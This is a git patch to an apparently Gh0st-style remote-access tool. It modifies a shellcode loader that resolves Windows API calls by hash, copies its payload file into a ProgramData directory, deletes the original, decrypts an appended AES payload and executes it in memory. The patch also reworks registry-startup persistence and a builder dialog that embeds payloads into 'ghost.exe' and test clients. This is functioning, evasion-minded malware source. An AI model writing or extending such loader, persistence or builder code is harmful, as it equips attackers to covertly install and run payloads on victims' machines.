From 32f298bdfb0dbe9e53be5e913d1d76b4f1cc5044 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 14 Jan 2026 00:01:15 +0100 Subject: [PATCH] Fix: Copy payload file to target directory when installing --- client/SimpleSCLoader.c | 47 ++++++++++++++++--- client/main.c | 2 +- client/reg_startup.c | 32 ++++++++----- client/reg_startup.h | 2 + common/commands.h | 2 +- server/2015Remote/2015Remote_vs2015.vcxproj | 7 +++ .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/BuildDlg.cpp | 13 ++++- 8 files changed, 85 insertions(+), 22 deletions(-) diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index 369cec7..7dff397 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -8,6 +8,7 @@ struct { int len; int offset; char file[_MAX_PATH]; + char targetDir[_MAX_PATH]; } sc = { "Hello, World!" }; #define Kernel32Lib_Hash 0x1cca9ce6 @@ -40,6 +41,12 @@ typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, D #define ReadFile_Hash 990362902 typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); +#define DeleteFileA_Hash 161619550 +typedef BOOL(WINAPI* _DeleteFileA)(LPCSTR lpFileName); + +#define CopyFileA_Hash 524124328 +typedef BOOL(WINAPI* _CopyFileA)(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists); + #define CloseHandle_Hash 110641196 typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject); @@ -219,6 +226,16 @@ void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAdd return 0; } +char* strstr(const char* h, const char* n) { + if (!*n) return (char*)h; + for (; *h; h++) { + const char* p = h, * q = n; + while (*p && *q && *p == *q) p++, q++; + if (!*q) return (char*)h; + } + return NULL; +} + // A simple shell code loader. // Copy left (c) yuanyuanxiang. #ifdef _DEBUG @@ -227,7 +244,7 @@ void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAdd int entry() { HMODULE kernel32 = get_kernel32_base(); - if (!kernel32) return 1; + if (!kernel32) return(1); _GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0); _LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress); _VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress); @@ -237,24 +254,40 @@ int entry() _CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress); _SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress); _ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress); + _DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress); + _CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress); _CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress); if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH); - HANDLE hFile = CreateFileA(sc.file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - if (hFile == INVALID_HANDLE_VALUE) return 2; + char* file = sc.file, dstFile[2 * MAX_PATH]; + if (sc.targetDir[0]) { + char curExe[MAX_PATH], * p = dstFile, * dir = sc.targetDir; + GetModulePath(NULL, curExe, MAX_PATH); + while (*dir) *p++ = *dir++; *p++ = '\\'; + while (*file) *p++ = *file++; *p = '\0'; + file = dstFile; + if (!strstr(curExe, sc.targetDir)) { + DeleteFileA(dstFile); + BOOL b = CopyFileA(sc.file, dstFile, FALSE); + DeleteFileA(sc.file); + if (!b) return(2); + } + } + HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return(3); SetFilePointer(hFile, (LONG)sc.offset, NULL, FILE_BEGIN); DWORD bytesRead = 0; sc.data = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return 3; + if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return(4); CloseHandle(hFile); - if (!sc.data || !sc.len) return 4; + if (!sc.data || !sc.len) return(5); struct AES_ctx ctx; AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv); AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len); DWORD oldProtect = 0; - if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5; + if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return(6); ((void(*)())sc.data)(); Sleep(INFINITE); - return 0; + return(0); } diff --git a/client/main.c b/client/main.c index f32c8a8..dcb701b 100644 --- a/client/main.c +++ b/client/main.c @@ -376,7 +376,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) { - for (int i = 0; i < iBufferSize - iKeySize; ++i) { + for (int i = 0; i <= iBufferSize - iKeySize; ++i) { if (0 == memcmp(szBuffer + i, Key, iKeySize)) { return i; } diff --git a/client/reg_startup.c b/client/reg_startup.c index bf86a70..beaeb7d 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -327,18 +327,9 @@ BOOL CreateDirectoryRecursively(const char* path) return TRUE; } -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log) +const char* GetInstallDirectory(const char * startupName) { -#ifdef _DEBUG - return 1; -#endif - Log = log; - char username[256]; - DWORD size = sizeof(username); - if (GetUserNameA(username, &size)) { - Mprintf("RegisterStartup is running with user: %s\n", username); - } - char folder[MAX_PATH] = { 0 }; + static char folder[MAX_PATH] = { 0 }; if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) { size_t len = strlen(folder); if (len > 0 && folder[len - 1] != '\\') { @@ -349,10 +340,27 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, if (!CreateDirectoryRecursively(folder)) { Mprintf("Failed to create directory structure: %s\n", folder); - return -1; + return NULL; } } + return folder; +} +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log) +{ +#ifdef _DEBUG + return 1; +#endif + Log = log; + char username[256]; + DWORD size = sizeof(username); + if (GetUserNameA(username, &size)) { + Mprintf("RegisterStartup is running with user: %s\n", username); + } + const char *folder = GetInstallDirectory(startupName); + if (!folder) { + return -1; + } char curFile[MAX_PATH] = { 0 }; GetModuleFileNameA(NULL, curFile, MAX_PATH); diff --git a/client/reg_startup.h b/client/reg_startup.h index 6e0ff16..a7cb901 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -1,6 +1,8 @@ #pragma once #include +const char* GetInstallDirectory(const char* startupName); + typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...); // return > 0 means to continue running else terminate. diff --git a/common/commands.h b/common/commands.h index 3babafc..4d5c67b 100644 --- a/common/commands.h +++ b/common/commands.h @@ -557,7 +557,7 @@ enum TestRunType { inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) { - for (int i = 0; i < iBufferSize - iKeySize; ++i) { + for (int i = 0; i <= iBufferSize - iKeySize; ++i) { if (0 == memcmp(szBuffer + i, Key, iKeySize)) { return i; } diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index c9b3223..efcd500 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -264,6 +264,7 @@ + @@ -338,6 +339,12 @@ NotUsing NotUsing + + NotUsing + NotUsing + NotUsing + NotUsing + NotUsing NotUsing diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index e5ef5ce..47411cb 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -63,6 +63,7 @@ + @@ -138,6 +139,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 7365764..e438be6 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -10,6 +10,9 @@ #include #include #include "Resource.h" +extern "C" { +#include "client/reg_startup.h" +} // #include enum Index { @@ -198,6 +201,7 @@ typedef struct SCInfo { int len; int offset; char file[_MAX_PATH]; + char targetDir[_MAX_PATH]; } SCInfo; #define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name) @@ -292,11 +296,13 @@ void CBuildDlg::OnBnClickedOk() } int startup = Startup_DLL; CString file; + CString targetDir; switch (index) { case IndexTestRun_DLL: case IndexTestRun_MemDLL: case IndexTestRun_InjSC: file = "TestRun.exe"; + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL; startup = std::map { {IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC}, @@ -305,17 +311,20 @@ void CBuildDlg::OnBnClickedOk() break; case IndexGhost: file = "ghost.exe"; + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); typ = CLIENT_TYPE_ONE; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); break; case IndexGhostMsc: file = "ghost.exe"; + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); typ = CLIENT_TYPE_ONE; startup = Startup_GhostMsc; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); break; case IndexTestRunMsc: file = "TestRun.exe"; + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); typ = CLIENT_TYPE_MEMDLL; startup = Startup_TestRunMsc; szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); @@ -468,6 +477,7 @@ void CBuildDlg::OnBnClickedOk() payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw); sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload); strcpy(sc->file, PathFindFileNameA(payload)); + strcpy(sc->targetDir, targetDir); tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; } BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); @@ -726,7 +736,8 @@ void CBuildDlg::OnCbnSelchangeComboCompress() static bool warned = false; if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) { warned = true; - MessageBoxA(_T("使用 ShellCode AES 在程序尾部追加载荷,可能无法在某些系统运行! 需切换为 ShellCode AES Old 模式生成!"), + MessageBoxA(_T("使用 ShellCode AES 在程序尾部追加载荷,可能无法在某些服务器系统运行! " + "请自行验证。或者选择其他载荷,或者切换为 ShellCode AES Old 模式生成!"), "提示", MB_ICONWARNING); } }